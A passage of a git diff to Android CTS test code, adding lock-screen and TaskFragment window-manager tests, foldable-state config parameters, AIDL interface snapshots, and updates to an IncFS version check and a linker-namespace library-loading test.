+    /**
+     * Verifies the show-when-locked behavior while launch embedded activities. Don't show the
+     * embedded activities if the activities don't have showWhenLocked flag.
+     */
+    @Test
+    public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
+
+        lockScreenSession.sleepDevice();
+        lockScreenSession.wakeUpDevice();
+
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,"Activity B must be stopped");
+    }
+
+    /**
+     * Verifies the show-when-locked behavior while launch embedded activities. The embedded
+     * activities should be shown on top of the lock screen since they have the showWhenLocked flag.
+     * Don't show the embedded activities even if one of Activity has showWhenLocked flag.
+     */
+    @Test
+    public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        // Initialize test environment by launching Activity A and B side-by-side.
+        mOwnerActivity.setShowWhenLocked(true);
+        initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
+
+        lockScreenSession.sleepDevice();
+        lockScreenSession.wakeUpDevice();
+
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+
+        // Launch Activity C without show-when-lock and verifies that both activities are stopped.
+        mOwnerActivity.startActivity(mIntent);
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+        waitAndAssertActivityState(mActivityC, STATE_STOPPED,"Activity C must be stopped");
+
+    }
+
     private TaskFragmentCreationParams generatePrimaryTaskFragParams() {
         return mTaskFragmentOrganizer.generateTaskFragParams(mOwnerToken, mPrimaryBounds,
                 WINDOWING_MODE_MULTI_WINDOW);
@@ -478,7 +559,17 @@
         }
     }
 
-    public static class ActivityA extends FocusableActivity {}
-    public static class ActivityB extends FocusableActivity {}
-    public static class ActivityC extends FocusableActivity {}
+    public static class ActivityA extends SplitTestActivity {}
+    public static class ActivityB extends SplitTestActivity {}
+    public static class ActivityC extends SplitTestActivity {}
+    public static class SplitTestActivity extends FocusableActivity {
+        public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
+        @Override
+        protected void onCreate(Bundle icicle) {
+            super.onCreate(icicle);
+            if (getIntent().getBooleanExtra(EXTRA_SHOW_WHEN_LOCKED, false)) {
+                setShowWhenLocked(true);
+            }
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index 72fb01c..61ea0dc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -293,9 +293,38 @@
         assertEquals(1, info.getActivities().size());
     }
 
+    /**
+     * Verifies whether creating TaskFragment with non-resizeable {@link Activity} leads to
+     * {@link IllegalArgumentException} returned by
+     * {@link TaskFragmentOrganizer#onTaskFragmentError(IBinder, Throwable)}.
+     */
+    @Test
+    public void testCreateTaskFragmentWithNonResizeableActivity_ThrowException() {
+        // Pass non-resizeable Activity's token to TaskFragmentCreationParams and tries to
+        // create a TaskFragment with the params.
+        final Activity activity =
+                startNewActivity(CompatChangeTests.NonResizeablePortraitActivity.class);
+        final IBinder ownerToken = getActivityToken(activity);
+        final TaskFragmentCreationParams params =
+                mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentError();
+
+        assertThat(mTaskFragmentOrganizer.getThrowable())
+                .isInstanceOf(IllegalArgumentException.class);
+    }
+
     private static Activity startNewActivity() {
+        return startNewActivity(TestActivity.class);
+    }
+
+    private static Activity startNewActivity(Class<?> className) {
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        final Intent intent = new Intent(instrumentation.getTargetContext(), TestActivity.class)
+        final Intent intent = new Intent(instrumentation.getTargetContext(), className)
                 .addFlags(FLAG_ACTIVITY_NEW_TASK);
         return instrumentation.startActivitySync(intent);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index e05bc8c..2a5de2f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -42,10 +42,13 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.content.ComponentName;
+import android.os.SystemProperties;
 import android.platform.test.annotations.Presubmit;
 
+import org.junit.Before;
 import org.junit.Test;
 
 /**
@@ -63,6 +66,11 @@
 @Presubmit
 public class TransitionSelectionTests extends ActivityManagerTestBase {
 
+    @Before
+    public void setup() {
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
+    }
+
     // Test activity open/close under normal timing
     @Test
     public void testOpenActivity_NeitherWallpaper() {
@@ -129,9 +137,9 @@
     }
 
     @Test
-    public void testOpenFreeformTask_BottomWallpaper_TopNonResizable() {
+    public void testOpenFreeformTask_BottomWallpaper_TopResizable() {
         assumeTrue(supportsFreeform());
-        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
                 false /*slowStop*/, TRANSIT_TASK_OPEN, WINDOWING_MODE_FREEFORM);
     }
 
@@ -142,9 +150,9 @@
     }
 
     @Test
-    public void testCloseFreeformTask_BottomWallpaper_TopNonResizable() {
+    public void testCloseFreeformTask_BottomWallpaper_TopResizable() {
         assumeTrue(supportsFreeform());
-        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
                 false /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FREEFORM);
     }
 
@@ -201,9 +209,9 @@
     }
 
     @Test
-    public void testCloseFreeformTask_BottomWallpaper_TopNonResizable_SlowStop() {
+    public void testCloseFreeformTask_BottomWallpaper_TopResizable_SlowStop() {
         assumeTrue(supportsFreeform());
-        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
                 true /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FREEFORM);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index dbbb4fd..a3b504e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -88,6 +88,11 @@
             new ActivityTestRule<>(ImmersiveFullscreenTestActivity.class,
                     false /* initialTouchMode */, false /* launchActivity */);
 
+    @Rule
+    public final ActivityTestRule<NaturalOrientationTestActivity> mNaturalOrientationTestActivity =
+            new ActivityTestRule<>(NaturalOrientationTestActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
     @Before
     @Override
     public void setUp() throws Exception {
@@ -124,6 +129,7 @@
         assumeTrue("Skipping test: no split multi-window support",
                 supportsSplitScreenMultiWindow());
 
+        launchAndWait(mNaturalOrientationTestActivity);
         mWmState.computeState(new ComponentName[] {});
         final boolean naturalOrientationPortrait =
                 mWmState.getDisplay(DEFAULT_DISPLAY)
@@ -356,4 +362,7 @@
                     | View.SYSTEM_UI_FLAG_FULLSCREEN);
         }
     }
+
+    public static class NaturalOrientationTestActivity extends TestActivity {
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 2436452..e37f284 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -230,7 +230,7 @@
     private static final int UI_MODE_TYPE_MASK = 0x0f;
     private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
 
-    private static final boolean ENABLE_SHELL_TRANSITIONS =
+    static final boolean ENABLE_SHELL_TRANSITIONS =
             SystemProperties.getBoolean("persist.debug.shell_transit", false);
 
     private static Boolean sHasHomeScreen = null;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index aee589e..0227c3c 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1543,6 +1543,7 @@
         boolean visible;
         boolean frontOfTask;
         boolean inSizeCompatMode;
+        float minAspectRatio;
         int procId = -1;
         public boolean translucent;
         private WindowContainer mParent;
@@ -1554,6 +1555,7 @@
             visible = proto.visible;
             frontOfTask = proto.frontOfTask;
             inSizeCompatMode = proto.inSizeCompatMode;
+            minAspectRatio = proto.minAspectRatio;
             if (proto.procId != 0) {
                 procId = proto.procId;
             }
@@ -1589,6 +1591,10 @@
             return inSizeCompatMode;
         }
 
+        public float getMinAspectRatio() {
+            return minAspectRatio;
+        }
+
         @Override
         public Rect getBounds() {
             if (mBounds == null) {
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 5f88d27..bf301d6 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -169,6 +169,25 @@
     }
 
     /**
+     * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
+     * activity mainly for onStartInput restarting check.
+     * @param eventName event name to check
+     * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
+     * @return true if event occurred and restarting is false.
+     */
+    public static Predicate<ImeEvent> editorMatcherRestartingFalse(
+            @NonNull String eventName, @NonNull String marker) {
+        return event -> {
+            if (!TextUtils.equals(eventName, event.getEventName())) {
+                return false;
+            }
+            final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+            final boolean restarting = event.getArguments().getBoolean("restarting");
+            return (TextUtils.equals(marker, editorInfo.privateImeOptions) && !restarting );
+        };
+    }
+
+    /**
     * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
     * activity.
     * @param eventName event name to check
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 5c738e1..34d4443 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -25,6 +25,7 @@
 import static android.widget.PopupWindow.INPUT_METHOD_NOT_NEEDED;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcherRestartingFalse;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -159,7 +160,8 @@
             assertFalse(stream.dump(), onStart.getArguments().getBoolean("restarting"));
 
             // There shouldn't be onStartInput any more.
-            notExpectEvent(stream, editorMatcher("onStartInput", marker), NOT_EXPECT_TIMEOUT);
+            notExpectEvent(stream, editorMatcherRestartingFalse("onStartInput", marker),
+                           NOT_EXPECT_TIMEOUT);
         }
     }
 
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 73759b0..de92326 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index 95db765..33240ef 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 0c83c25..57f4ed3 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/rotationresolverservice/AndroidTest.xml b/tests/rotationresolverservice/AndroidTest.xml
index 0ea0dc2..b724408 100644
--- a/tests/rotationresolverservice/AndroidTest.xml
+++ b/tests/rotationresolverservice/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRotationResolverServiceDeviceTestCases.apk" />
@@ -28,4 +29,4 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.rotationresolverservice.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/suspendapps/permission/AndroidTest.xml b/tests/suspendapps/permission/AndroidTest.xml
index fb593aa..e17ccd8 100644
--- a/tests/suspendapps/permission/AndroidTest.xml
+++ b/tests/suspendapps/permission/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/suspendapps/tests/AndroidTest.xml b/tests/suspendapps/tests/AndroidTest.xml
index e74b7c9..3c17d95 100644
--- a/tests/suspendapps/tests/AndroidTest.xml
+++ b/tests/suspendapps/tests/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index 8bb21c0..d73484d 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <!-- Force service to be installed as non-instant mode, always -->
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 68b2d3f..efb2256 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -82,6 +82,7 @@
     srcs: [":libbinder_ndk_compat_test_interface_srcs"],
     versions: [
         "1",
+        "2",
     ],
     backend: {
         java: {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash
new file mode 100644
index 0000000..210a064
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash
@@ -0,0 +1 @@
+ef1ff59c491cbb79b3b7830aacde2c2bdc0bce3b
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl
new file mode 100644
index 0000000..df9a795
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl
@@ -0,0 +1,25 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL file. Do not edit it manually. There are
+// two cases:
+// 1). this is a frozen version file - do not edit this in any case.
+// 2). this is a 'current' file. If you make a backwards compatible change to
+//     the interface (from the latest frozen version), the build system will
+//     prompt you to update this file with `m <name>-update-api`.
+//
+// You must not make a backward incompatible change to any AIDL file built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..7d1ee02
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL file. Do not edit it manually. There are
+// two cases:
+// 1). this is a frozen version file - do not edit this in any case.
+// 2). this is a 'current' file. If you make a backwards compatible change to
+//     the interface (from the latest frozen version), the build system will
+//     prompt you to update this file with `m <name>-update-api`.
+//
+// You must not make a backward incompatible change to any AIDL file built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  @nullable String RepeatStringNullableLater(@nullable String repeated);
+  int NewMethodThatReturns10();
+}
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index c03dd80..1b757e3 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -24,6 +24,8 @@
 
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
diff --git a/tests/tests/content/pm/SecureFrp/AndroidTest.xml b/tests/tests/content/pm/SecureFrp/AndroidTest.xml
index bd0ce82..a5e416d 100644
--- a/tests/tests/content/pm/SecureFrp/AndroidTest.xml
+++ b/tests/tests/content/pm/SecureFrp/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <!-- target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/pm" />
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index d1a46b0..37a8f76 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -154,10 +154,17 @@
     public void testAndroid12RequiresIncFsV2() throws Exception {
         // IncFS is a kernel feature, which is a subject to vendor freeze. That's why
         // the test verifies the vendor API level here, not the system's one.
-        final boolean v2Required = PropertyUtil.isVendorApiLevelNewerThan(30);
+        // Note: vendor API level getter returns either the frozen API level, or the current one for
+        //  non-vendor-freeze devices; need to verify both the system first API level and vendor
+        //  level to make the final decision.
+        final boolean v2ReqdForSystem = PropertyUtil.getFirstApiLevel() > 30;
+        final boolean v2ReqdForVendor = PropertyUtil.isVendorApiLevelNewerThan(30);
+        final boolean v2Required = v2ReqdForSystem && v2ReqdForVendor;
         if (v2Required) {
-            Assert.assertTrue(getPackageManager().hasSystemFeature(
-                    PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
+            Assert.assertTrue("Devices launched at API 31+ with a vendor partition of API 31+ need "
+                    + "to support Incremental Delivery version 2 or higher",
+                    getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
         }
     }
 
diff --git a/tests/tests/instantapp/AndroidTest.xml b/tests/tests/instantapp/AndroidTest.xml
index 7e03bce..4ce4d92 100644
--- a/tests/tests/instantapp/AndroidTest.xml
+++ b/tests/tests/instantapp/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index f2f2a85..157b3c0 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -49,16 +49,35 @@
 #endif
 
 static const std::string kSystemLibraryPath = "/system/" LIB_DIR;
-static const std::string kArtApexLibraryPath = "/apex/com.android.art/" LIB_DIR;
 static const std::string kVendorLibraryPath = "/vendor/" LIB_DIR;
 static const std::string kProductLibraryPath = "/product/" LIB_DIR;
 
+// APEX library paths to check for either presence or absence of public
+// libraries.
+static const std::vector<std::string> kApexLibraryPaths = {
+  "/apex/com.android.art/" LIB_DIR,
+  "/apex/com.android.i18n/" LIB_DIR,
+  "/apex/com.android.neuralnetworks/" LIB_DIR,
+  "/apex/com.android.runtime/" LIB_DIR,
+};
+
 static const std::vector<std::regex> kSystemPathRegexes = {
     std::regex("/system/lib(64)?"),
     std::regex("/apex/com\\.android\\.[^/]*/lib(64)?"),
     std::regex("/system/(lib/arm|lib64/arm64)"), // when CTS runs in ARM ABI on non-ARM CPU. http://b/149852946
 };
 
+// Full paths to libraries in system or APEX search paths that are not public
+// but still may or may not be possible to load in an app.
+static const std::vector<std::string> kOtherLoadableLibrariesInSearchPaths = {
+  // This library may be loaded using DF_1_GLOBAL into the global group in
+  // app_process, which is necessary to make it override some symbols in libc in
+  // all DSO's. As a side effect it also gets inherited into the classloader
+  // namespaces constructed in libnativeloader, and is hence possible to dlopen
+  // even though there is no linker namespace link for it.
+  "/apex/com.android.art/" LIB_DIR "/libsigchain.so",
+};
+
 static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
 
 static bool is_directory(const char* path) {
@@ -171,6 +190,18 @@
   return error;
 }
 
+// Checks that a .so library can or cannot be loaded with dlopen() and
+// System.load(), as appropriate by the other settings:
+// -  clazz: The java class instance of android.jni.cts.LinkerNamespacesHelper,
+//    used for calling System.load() and System.loadLibrary().
+// -  path: Full path to the library to load.
+// -  library_search_paths: Directories that should be searched for public
+//    libraries. They should not be loaded from a subdirectory of these.
+// -  public_library_basenames: File names without paths of expected public
+//    libraries.
+// -  test_system_load_library: Try loading with System.loadLibrary() as well.
+// -  check_absence: Raise an error if it is a non-public library but still is
+//    loaded successfully from a searched directory.
 static bool check_lib(JNIEnv* env,
                       jclass clazz,
                       const std::string& path,
@@ -220,7 +251,10 @@
     // If the library loaded successfully but is in a subdirectory then it is
     // still not public. That is the case e.g. for
     // /apex/com.android.runtime/lib{,64}/bionic/lib*.so.
-    if (loaded && is_in_search_path && check_absence) {
+    if (loaded && is_in_search_path && check_absence &&
+        (std::find(kOtherLoadableLibrariesInSearchPaths.begin(),
+                   kOtherLoadableLibrariesInSearchPaths.end(), path) ==
+         kOtherLoadableLibrariesInSearchPaths.end())) {
       errors->push_back("The library \"" + path + "\" is not a public library but it loaded.");
       return false;
     }
@@ -234,6 +268,7 @@
   return true;
 }
 
+// Calls check_lib for every file found recursively within library_path.
 static bool check_path(JNIEnv* env,
                        jclass clazz,
                        const std::string& library_path,
@@ -279,8 +314,8 @@
 static bool jobject_array_to_set(JNIEnv* env,
                                  jobjectArray java_libraries_array,
                                  std::unordered_set<std::string>* libraries,
-                                 std::string* error_msg) {
-  error_msg->clear();
+                                 std::string* error_msgs) {
+  error_msgs->clear();
   size_t size = env->GetArrayLength(java_libraries_array);
   bool success = true;
   for (size_t i = 0; i<size; ++i) {
@@ -290,7 +325,7 @@
 
     // Verify that the name doesn't contain any directory components.
     if (soname.rfind('/') != std::string::npos) {
-      *error_msg += "\n---Illegal value, no directories allowed: " + soname;
+      *error_msgs += "\n---Illegal value, no directories allowed: " + soname;
       continue;
     }
 
@@ -300,7 +335,7 @@
     if (space_pos != std::string::npos) {
       std::string type = soname.substr(space_pos + 1);
       if (type != "32" && type != "64") {
-        *error_msg += "\n---Illegal value at end of line (only 32 or 64 allowed): " + soname;
+        *error_msgs += "\n---Illegal value at end of line (only 32 or 64 allowed): " + soname;
         success = false;
         continue;
       }
@@ -332,21 +367,21 @@
         JNIEnv* env,
         jclass clazz,
         jobjectArray java_system_public_libraries,
-        jobjectArray java_runtime_public_libraries) {
+        jobjectArray java_apex_public_libraries) {
   bool success = true;
   std::vector<std::string> errors;
-  std::string error_msg;
+  std::string error_msgs;
   std::unordered_set<std::string> system_public_libraries;
   if (!jobject_array_to_set(env, java_system_public_libraries, &system_public_libraries,
-                            &error_msg)) {
+                            &error_msgs)) {
     success = false;
-    errors.push_back("Errors in system public library file:" + error_msg);
+    errors.push_back("Errors in system public library list:" + error_msgs);
   }
-  std::unordered_set<std::string> runtime_public_libraries;
-  if (!jobject_array_to_set(env, java_runtime_public_libraries, &runtime_public_libraries,
-                            &error_msg)) {
+  std::unordered_set<std::string> apex_public_libraries;
